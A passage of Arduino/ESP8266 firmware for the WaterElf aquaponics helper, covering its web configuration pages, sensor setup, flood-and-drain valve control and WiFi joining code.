delete?\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ page generation stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nString pageTopStr = String(\n \"<html><head><title>WaterElf Aquaponics Helper [ID: \" + apSSIDStr + \"]\"\n);\nconst char* pageTop = pageTopStr.c_str();\nconst char* pageTop2 = \"<\/title>\\n\"\n \"<meta charset=\\\"utf-8\\\">\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\">\"\n \"<style>body{background:#FFF;color: #000;font-family: sans-serif;font-size: 150%;}<\/style>\"\n \"<\/head><body>\\n\";\nconst char* pageDefault = \/\/ TODO build the growbeds according to their num\n \"<h2>Welcome to WaterElf<\/h2>\\n\"\n \"<h2>Control<\/h2>\\n\"\n \"<p><ul>\\n\"\n \"<li><a href='\/wifi'>Join a wifi network<\/a><\/li>\\n\"\n \"<li><a href='\/serverconf'>Configure data sharing<\/a><\/li>\\n\"\n \"<li><a href='\/analogconf'>Configure analog sensor<\/a><\/li>\\n\"\n \"<li>\"\n \"<form method='POST' action='valve1'>\\n\"\n \"Growbed 1: \"\n \"fill <input type='radio' name='state' value='on'>\\n\"\n \"drain <input type='radio' name='state' value='off'>\\n\"\n \"<input type='submit' value='Submit'><\/form>\\n\"\n \"<\/li>\"\n \"<li>\"\n \"<form method='POST' action='valve2'>\\n\"\n \"Growbed 2: \"\n \"fill <input type='radio' name='state' value='on'>\\n\"\n \"drain <input type='radio' name='state' value='off'>\\n\"\n \"<input type='submit' value='Submit'><\/form>\\n\"\n \"<\/li>\"\n \"<li>\"\n \"<form method='POST' action='valve3'>\\n\"\n \"Growbed 3: \"\n \"fill <input type='radio' name='state' value='on'>\\n\"\n \"drain <input type='radio' name='state' value='off'>\\n\"\n \"<input type='submit' value='Submit'><\/form>\\n\"\n \"<\/li>\"\n \"<li>\\n\"\n \"<form method='POST' action='actuate'>\\n\"\n \"Power: \"\n \"on <input type='radio' name='state' value='on'>\\n\"\n \"off <input type='radio' name='state' value='off'>\\n\"\n \"<input type='submit' value='Submit'><\/form>\\n\"\n \"<\/li>\"\n \"<\/ul><\/p>\\n\"\n \"<h2>Monitor<\/h2>\\n\"\n \"<p><ul>\\n\"\n \"<li><a href='\/elfstatus'>Elf status<\/a><\/li>\\n\"\n \"<li><a href='\/data'>Sensor data<\/a><\/li>\\n\"\n \"<\/ul><\/p>\\n\";\nconst char* pageFooter =\n \"\\n<p><a href='\/'>WaterElf<\/a>   \"\n \"<a href='https:\/\/wegrow.social\/'>WeGrow<\/a><\/p><\/body><\/html>\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ data monitoring stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst boolean SEND_DATA = true; \/\/ turn off posting of data if required here\nconst int MONITOR_POINTS = 60; \/\/ number of data points to store\ntypedef struct {\n unsigned long timestamp;\n float waterCelsius;\n float airCelsius;\n float airHumid;\n uint16_t lux;\n float pH;\n long waterLevel1; \/\/ TODO should be an array\n long waterLevel2;\n long waterLevel3;\n float analog;\n} monitor_t;\nmonitor_t monitorData[MONITOR_POINTS];\nint monitorCursor = 0;\nint monitorSize = 0;\nconst int DATA_ENTRIES = 4; \/\/ size of \/data rpt; must be <= MONITOR_POINTS\nvoid updateSensorData(monitor_t *monitorData);\nvoid postSensorData(monitor_t *monitorData);\nvoid printMonitorEntry(monitor_t m, String* buf);\nvoid formatMonitorEntry(monitor_t *m, String* buf, bool JSON);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ misc utils \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ledOn();\nvoid ledOff();\nString ip2str(IPAddress address);\n#define dbg(b, s) if(b) Serial.print(s)\n#define dln(b, s) if(b) Serial.println(s)\n#define startupDBG true\n#define valveDBG false\n#define monitorDBG false\n#define netDBG true\n#define miscDBG false\n#define citsciDBG false\n#define analogDBG true\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ temperature sensor stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nOneWire ds(2); \/\/ DS1820 on pin 2 (a 4.7K resistor is necessary)\nDallasTemperature tempSensor(&ds); \/\/ pass through reference to library\nvoid getTemperature(float* waterCelsius);\nboolean GOT_TEMP_SENSOR = false; \/\/ we'll change later if we detect sensor\nDeviceAddress tempAddr; \/\/ array to hold device address\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ humidity sensor stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nDHT dht(0, DHT22); \/\/ what digital pin we're on, plus type DHT22 aka AM2302\nboolean GOT_HUMID_SENSOR = false; \/\/ we'll change later if we detect sensor\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ light sensor stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nAdafruit_TSL2591 tsl = Adafruit_TSL2591(2591); \/\/ sensor id\nboolean GOT_LIGHT_SENSOR = false; \/\/ we'll change later if we detect sensor\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ pH sensor stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst byte pH_Add = 0x4E; \/\/ change this to match ph ADC address\nint pH7Cal = 2048; \/\/ assume ideal probe and amp conditions 1\/2 of 4096\nint pH4Cal = 1286; \/\/ ideal probe slope -> this many 12bit units on 4 scale\nfloat pHStep = 59.16; \/\/ ideal probe slope\nconst float vRef = 4.096; \/\/ our vRef into the ADC wont be exact\n\/\/ since you can run VCC lower than Vref its best to measure and adjust here\nconst float opampGain = 5.25; \/\/what is our Op-Amps gain (stage 1)\nboolean GOT_PH_SENSOR = false; \/\/ we'll change later if we detect sensor\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RC switch stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nRCSwitch mySwitch = RCSwitch();\nconst int RCSW_CHANNEL = 2; \/\/ which 433 channel to use (I-IV)\nconst int RCSW_HEATER = 2; \/\/ which 433 device to switch (1-4)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ MCP23008 stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nAdafruit_MCP23008 mcp; \/\/ create object for MCP23008\nconst int mcpPins[] = { 0, 1, 2, 3, 6, 7, }; \/\/ pins to init in setup\nconst int mcpPinsUsed = 6; \/\/ length of mcpPins array\nconst int valvePinMap[][2] = {\n { -1, -1 }, \/\/ there's no valve numbered 0...\n { 0, 2 }, \/\/ valve 1: pump on pin 0, solenoid on pin 2\n { 3, 6 }, \/\/ valve 2: ...\n { 7, 1 }, \/\/ valve 3: ...\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ level sensing stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int LEVEL_TRIG_PIN=12;\nconst int LEVEL_ECHO_PIN1=13;\nconst int LEVEL_ECHO_PIN2=14;\nconst int LEVEL_ECHO_PIN3=16;\nboolean GOT_LEVEL_SENSOR = false; \/\/ we'll change later if we detect sensor\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ analog sensor stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nString ANALOG_SENSOR_NONE = \"analog_none\";\nString ANALOG_SENSOR_MAINS = \"analog_mains\";\nString ANALOG_SENSOR_PRESSURE = \"analog_pressure\";\nString analogSensor = ANALOG_SENSOR_NONE;\nboolean GOT_ANALOG_SENSOR = false; \/\/ change later if we config a sensor\nEnergyMonitor emon1; \/\/ instance of energy monitor, for mains current sensor\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ valves and flow control \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/*\nuser settable parameters:\n- per elf:\n - number of (controlled) beds\n - cycle length (minutes)\n - max simultaneous drainers (if there may be return pipe contention)\n - min beds wet (to prevent sump overflow)\n - max beds wet (to avoid dry pump)\n - stagger minutes (default: cycle length \/ num beds)\n- per growbed:\n - dry minutes\n - got overflow\n - fill level (cms below ultrasound sensor)\n\nmaybe: fixed cycle time, irrespective of actual fill time, and the\ndifferences are absorbed into the dry time?\n*\/\nclass Valve { \/\/ each valve \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n public:\n static int counter; \/\/ counter for setting valve number\n int number; \/\/ id of this valve, counting from 1\n int dryMins = 45; \/\/ mins to leave bed drained per cycle\n \/\/ in beds with overflows can be 0; else will be cycle time minus fill time\n long startTime = -1; \/\/ when to start cycling (after boot) \n bool gotOverflow = false; \/\/ does the growbed have an overflow?\n int fillLevel = 7; \/\/ cms below the level sensor: drain point\n bool filling = false; \/\/ true when closed \/ on\n long lastFlip = -1; \/\/ millis at last state change\n int floodMins = 18;\n\n Valve() { number = counter++; }\n void stateChange(bool newState) { \/\/ turn on or off\n dbg(valveDBG, \"valve \");\n dbg(valveDBG, number);\n int pumpMcpPin = valvePinMap[number][0];\n int solenoidMcpPin = valvePinMap[number][1];\n\n \/\/ trigger MOSFETs via the MCP\n if(newState == true){\n mcp.digitalWrite(pumpMcpPin, HIGH);\n mcp.digitalWrite(solenoidMcpPin, HIGH);\n filling = true; \/\/ TODO if set from UI will interfere with timing?\n dln(valveDBG, \" on\");\n } else {\n mcp.digitalWrite(pumpMcpPin, LOW);\n mcp.digitalWrite(solenoidMcpPin, LOW);\n filling = false;\n dln(valveDBG, \" off\");\n }\n \/\/ dbg(valveDBG, \"pump Pin = \"); dbg(valveDBG, pumpMcpPin);\n \/\/ dbg(valveDBG, \", solen = \"); dln(valveDBG, solenoidMcpPin);\n\n lastFlip = millis();\n }\n void on() { stateChange(true); } \/\/ fill time\n void off() { stateChange(false); } \/\/ drain time\n void step(monitor_t* now, char cycleMins) { \/\/ check conditions and adjust\n dbg(valveDBG, \"\\nvalve[].step - number = \"); dln(valveDBG, number);\n int t = millis();\n dbg(valveDBG, \"t = \"); dbg(valveDBG, t);\n dbg(valveDBG, \"; filling = \"); dln(valveDBG, filling);\n if(filling &&\n (\n ( lastFlip + (floodMins * 60 * 1000) ) <= t || full(now)\n )\n ) { \/\/ flood over\n dbg(valveDBG, \"t = \"); dln(valveDBG, t);\n dbg(valveDBG, \"lastFlip = \"); dln(valveDBG, lastFlip);\n dbg(valveDBG, \"floodMins = \"); dln(valveDBG, floodMins);\n dbg(valveDBG, \"floodMins * 60 * 1000 = \");\n dln(valveDBG, floodMins * 60 * 1000);\n off();\n } else if(!filling && ( startTime <= t )) { \/\/ time to start filling\n on();\n startTime += (cycleMins * 60 * 1000);\n dbg(valveDBG, \"startTime = \"); dln(valveDBG, startTime);\n } \n }\n bool full(monitor_t *now) {\n int l = -1;\n switch(number) {\n case 1: l = now->waterLevel1; break;\n case 2: l = now->waterLevel2; break;\n case 3: l = now->waterLevel3; break;\n }\n dbg(valveDBG, \"full? l = \"); dln(valveDBG, l);\n\n return ( l <= fillLevel );\n }\n};\nint Valve::counter = 1; \/\/ definition (the above only declares)\n\nclass FlowController { \/\/ the set of valves and their config \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n public:\n int numValves = 3; \/\/ WARNING! call init if resetting!\n int cycleMins = 30; \/\/ how long is a flood\/drain cycle?\n int maxSimultDrainers = 1; \/\/ how many beds can drain simultaneously?\n int minBedsWet = 1; \/\/ min beds that are full or filling\n int maxBedsWet = 2; \/\/ max beds that are full or filling\n int staggerMins; \/\/ gap to leave between valve startups\n Valve* valves = 0; \/\/ the valves and their states\n\n int getStaggerMillis() { return staggerMins * 60 * 1000; }\n void init() {\n Valve::counter = 1;\n if(valves != 0) delete(valves);\n valves = new Valve[numValves];\n\n \/\/ set up staggered valve starts\n staggerMins = cycleMins \/ numValves;\n dbg(valveDBG, \"cycleMins = \"); dbg(valveDBG, cycleMins);\n dbg(valveDBG, \" staggerMins = \"); dln(valveDBG, staggerMins);\n long t = millis();\n dbg(valveDBG, \"millis = \"); dln(valveDBG, t);\n long nextCycleStart = t;\n for(int i = 0; i < numValves; i++) {\n valves[i].startTime = nextCycleStart;\n dbg(valveDBG, \"valves[\"); dbg(valveDBG, i);\n dbg(valveDBG, \"].startTime = \"); dln(valveDBG, nextCycleStart);\n nextCycleStart += getStaggerMillis();\n }\n }\n void step(monitor_t* now) {\n for(int i = 0; i < numValves; i++)\n valves[i].step(now, cycleMins);\n }\n};\nFlowController flowController;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ config utils \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean getCloudShare();\nvoid setCloudShare(boolean b);\nString getSvrAddrP();\nvoid setSvrAddrP(String s);\nString getAnalogSensorP();\nvoid setAnalogSensorP(String s);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ setup \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n Serial.begin(115200);\n\n pinMode(BUILTIN_LED, OUTPUT); \/\/ turn built-in LED on\n blink(3); \/\/ signal we're starting setup\n\n \/\/ read persistent config\n SPIFFS.begin();\n svrAddr = getSvrAddrP();\n analogSensor = getAnalogSensorP();\n\n \/\/ start the sensors, the DNS and webserver, etc.\n startPeripherals();\n startAP();\n printIPs();\n startWebServer();\n\n \/\/ initialise the MCP and the flow controller\n dln(startupDBG, \"doing flow controller and mcp init...\");\n flowController.init();\n mcp.begin(); \/\/ use default address 0 for mcp23008\n for(int i = 0; i < mcpPinsUsed; i++)\n mcp.pinMode(mcpPins[i], OUTPUT);\n\n \/\/ try and set the host name\n if(WiFi.hostname(\"waterelf\"))\n dln(netDBG, \"set hostname succeeded\");\n else\n dln(netDBG, \"set hostname failed\");\n delay(300); blink(3); \/\/ signal we've finished config\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ looooooooooooooooooooop \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n webServer.handleClient();\n\n if(loopCounter == TICK_MONITOR) { \/\/ monitor levels, step valves, push data\n monitor_t* now = &monitorData[monitorCursor];\n if(monitorSize < MONITOR_POINTS)\n monitorSize++;\n now->timestamp = millis();\n if(GOT_TEMP_SENSOR) {\n getTemperature(&now->waterCelsius); yield();\n }\n if(GOT_HUMID_SENSOR) {\n getHumidity(&now->airCelsius, &now->airHumid); yield();\n }\n if(GOT_LIGHT_SENSOR) { getLight(&now->lux); yield(); }\n if(GOT_PH_SENSOR) { getPH(&now->pH); yield(); }\n if(GOT_LEVEL_SENSOR) {\n getLevel(LEVEL_ECHO_PIN1, &now->waterLevel1); yield();\n getLevel(LEVEL_ECHO_PIN2, &now->waterLevel2); yield();\n getLevel(LEVEL_ECHO_PIN3, &now->waterLevel3); yield();\n dln(valveDBG, \"\");\n dbg(valveDBG, \"wL1: \"); dbg(valveDBG, now->waterLevel1);\n dbg(valveDBG, \"; wL2: \"); dbg(valveDBG, now->waterLevel2);\n dbg(valveDBG, \"; wL3: \"); dln(valveDBG, now->waterLevel3);\n }\n if(GOT_ANALOG_SENSOR) { getAnalog(&now->analog); yield(); }\n\n flowController.step(now); yield(); \/\/ set valves on and off etc.\n if(SEND_DATA) { \/\/ push data to the cloud\n postSensorData(&monitorData[monitorCursor]); yield();\n }\n \n if(++monitorCursor == MONITOR_POINTS)\n monitorCursor = 0;\n }\n\n if(loopCounter == TICK_WIFI_DEBUG) {\n \/* TODO a way to only trigger on less loops\n dbg(netDBG, \"SSID: \"); dbg(netDBG, apSSID);\n dbg(netDBG, \"; IP address(es): local=\"); dbg(netDBG, WiFi.localIP());\n dbg(netDBG, \"; AP=\"); dln(netDBG, WiFi.softAPIP());\n *\/\n }\n if(loopCounter == TICK_HEAP_DEBUG) {\n dbg(miscDBG, \"free heap=\"); dln(miscDBG, ESP.getFreeHeap());\n }\n\n if(loopCounter++ == LOOP_ROLLOVER) loopCounter = 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ wifi and web server management stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid startAP() {\n WiFi.mode(WIFI_AP_STA);\n WiFi.softAPConfig(apIP, apIP, netMsk);\n WiFi.softAP(apSSID,\"wegrowdotsocial\");\n dln(startupDBG, \"Soft AP started\");\n}\n\nvoid printIPs() {\n dbg(startupDBG, \"AP SSID: \");\n dbg(startupDBG, apSSID);\n dbg(startupDBG, \"; IP address(es): local=\");\n dbg(startupDBG, WiFi.localIP());\n dbg(startupDBG, \"; AP=\");\n dln(startupDBG, WiFi.softAPIP());\n}\nvoid startWebServer() {\n webServer.on(\"\/\", handle_root);\n webServer.on(\"\/generate_204\", handle_root); \/\/ Android support\n webServer.on(\"\/L0\", handle_root);\n webServer.on(\"\/L2\", handle_root);\n webServer.on(\"\/ALL\", handle_root);\n webServer.onNotFound(handleNotFound);\n webServer.on(\"\/wifi\", handle_wifi);\n webServer.on(\"\/elfstatus\", handle_elfstatus);\n webServer.on(\"\/serverconf\", handle_serverconf);\n webServer.on(\"\/analogconf\", handle_analogconf);\n webServer.on(\"\/wfchz\", handle_wfchz);\n webServer.on(\"\/svrchz\", handle_svrchz);\n webServer.on(\"\/algchz\", handle_algchz);\n webServer.on(\"\/data\", handle_data);\n webServer.on(\"\/actuate\", handle_actuate);\n webServer.on(\"\/valve1\", handle_valve1);\n webServer.on(\"\/valve2\", handle_valve2);\n webServer.on(\"\/valve3\", handle_valve3);\n webServer.begin();\n dln(startupDBG, \"HTTP server started\");\n}\nvoid handleNotFound() {\n dbg(netDBG, \"URI Not Found: \");\n dln(netDBG, webServer.uri());\n \/\/ TODO send redirect to \/? or just use handle_root?\n webServer.send(200, \"text\/plain\", \"URI Not Found\");\n}\nvoid handle_root() {\n dln(netDBG, \"serving page notionally at \/\");\n String toSend = pageTop;\n toSend += pageTop2;\n toSend += pageDefault;\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_data() {\n dln(netDBG, \"serving page at \/data\");\n String toSend = pageTop;\n toSend += \": Sensor Data\";\n toSend += pageTop2;\n toSend += \"\\n<h2>Sensor Data<\/h2><p><pre>\\n\";\n\n int mSize = monitorSize;\n for(\n int i = monitorCursor - 1, j = 1;\n j <= DATA_ENTRIES && j <= monitorSize;\n i--, j++\n ) {\n formatMonitorEntry(&monitorData[i], &toSend, false);\n toSend += \"\\n\";\n if(i == 0)\n i = MONITOR_POINTS;\n }\n\n toSend += \"<\/pre>\\n\";\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nString genAPForm() {\n String f = pageTop;\n f += \": Wifi Config\";\n f += pageTop2;\n f += \"<h2>Choose a wifi access point to join<\/h2>\\n\";\n f += \"<h3>Signal strength in brackets, lower is better<\/h3><p>\\n\";\n \n const char *checked = \" checked\";\n\n int n = WiFi.scanNetworks();\n dbg(netDBG, \"scan done: \");\n if(n == 0) {\n dln(netDBG, \"no networks found\");\n f += \"No wifi access points found :-( \";\n f += \"<a href='\/'>Back<\/a><br\/><a href='\/wifi'>Try again?<\/a><\/p>\\n\";\n } else {\n dbg(netDBG, n);\n dln(netDBG, \" networks found\");\n f += \"<form method='POST' action='wfchz'> \";\n for(int i = 0; i < n; ++i) {\n \/\/ print SSID and RSSI for each network found\n dbg(netDBG, i + 1);\n dbg(netDBG, \": \");\n dbg(netDBG, WiFi.SSID(i));\n dbg(netDBG, \" (\");\n dbg(netDBG, WiFi.RSSI(i));\n dbg(netDBG, \")\");\n dln(netDBG, (WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n\n f.concat(\"<input type='radio' name='ssid' value='\");\n f.concat(WiFi.SSID(i));\n f.concat(\"'\");\n f.concat(checked);\n f.concat(\">\");\n f.concat(WiFi.SSID(i));\n f.concat(\" (\");\n f.concat(WiFi.RSSI(i));\n f.concat(\" dBm)\");\n f.concat(\"<br\/>\\n\");\n checked = \"\";\n }\n f += \"<br\/>Pass key: <input type='textarea' name='key'><br\/><br\/> \";\n f += \"<input type='submit' value='Submit'><\/form><\/p>\";\n }\n\n f += pageFooter;\n return f;\n}\nvoid handle_wifi() {\n dln(netDBG, \"serving page at \/wifi\");\n String toSend = genAPForm();\n webServer.send(200, \"text\/html\", toSend);\n}\n\nvoid handle_elfstatus() {\n dln(netDBG, \"serving page at \/elfstatus\");\n\n String toSend = pageTop;\n toSend += \": Elf Status\";\n toSend += pageTop2;\n toSend += \"\\n<h2>Elf Status<\/h2><p><ul>\\n\";\n\n toSend += \"\\n<li>SSID: \";\n toSend += WiFi.SSID();\n toSend += \"<\/li>\";\n toSend += \"\\n<li>Status: \";\n switch(WiFi.status()) {\n case WL_IDLE_STATUS:\n toSend += \"WL_IDLE_STATUS<\/li>\"; break;\n case WL_NO_SSID_AVAIL:\n toSend += \"WL_NO_SSID_AVAIL<\/li>\"; break;\n case WL_SCAN_COMPLETED:\n toSend += \"WL_SCAN_COMPLETED<\/li>\"; break;\n case WL_CONNECTED:\n toSend += \"WL_CONNECTED<\/li>\"; break;\n case WL_CONNECT_FAILED:\n toSend += \"WL_CONNECT_FAILED<\/li>\"; break;\n case WL_CONNECTION_LOST:\n toSend += \"WL_CONNECTION_LOST<\/li>\"; break;\n case WL_DISCONNECTED:\n toSend += \"WL_DISCONNECTED<\/li>\"; break;\n default:\n toSend += \"unknown<\/li>\";\n }\n\n toSend += \"\\n<li>Local IP: \"; toSend += ip2str(WiFi.localIP());\n toSend += \"<\/li>\\n\";\n toSend += \"\\n<li>Soft AP IP: \"; toSend += ip2str(WiFi.softAPIP());\n toSend += \"<\/li>\\n\";\n toSend += \"\\n<li>AP SSID name: \"; toSend += apSSID;\n toSend += \"<\/li>\\n\";\n toSend += \"\\n<li>Data sharing server address: \"; toSend += svrAddr;\n toSend += \"<\/li>\\n\";\n toSend += \"\\n<li>Got analog sensor: \"; toSend += GOT_ANALOG_SENSOR;\n toSend += \"<\/li>\\n\";\n toSend += \"\\n<li>Analog sensor type: \"; toSend += analogSensor;\n toSend += \"<\/li>\\n\";\n\n toSend += \"<\/ul><\/p>\";\n\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_wfchz() {\n dln(netDBG, \"serving page at \/wfchz\");\n String toSend = pageTop;\n toSend += \": joining wifi network\";\n toSend += pageTop2;\n String ssid = \"\";\n String key = \"\";\n\n for(uint8_t i = 0; i < webServer.args(); i++ ) {\n \/\/dln(netDBG, \" \" + webServer.argName(i) + \": \" + webServer.arg(i));\n if(webServer.argName(i) == \"ssid\")\n ssid = webServer.arg(i);\n else if(webServer.argName(i) == \"key\")\n key = webServer.arg(i);\n }\n\n if(ssid == \"\") {\n toSend += \"<h2>Ooops, no SSID...?<\/h2>\";\n toSend += \"<p>Looks like a bug :-(<\/p>\";\n } else {\n toSend += \"<h2>Done! Now trying to join network...<\/h2>\";\n toSend += \"<p>Check <a href='\/elfstatus'>wifi status here<\/a>.<\/p>\";\n char ssidchars[ssid.length()+1];\n char keychars[key.length()+1];\n ssid.toCharArray(ssidchars, ssid.length()+1);\n 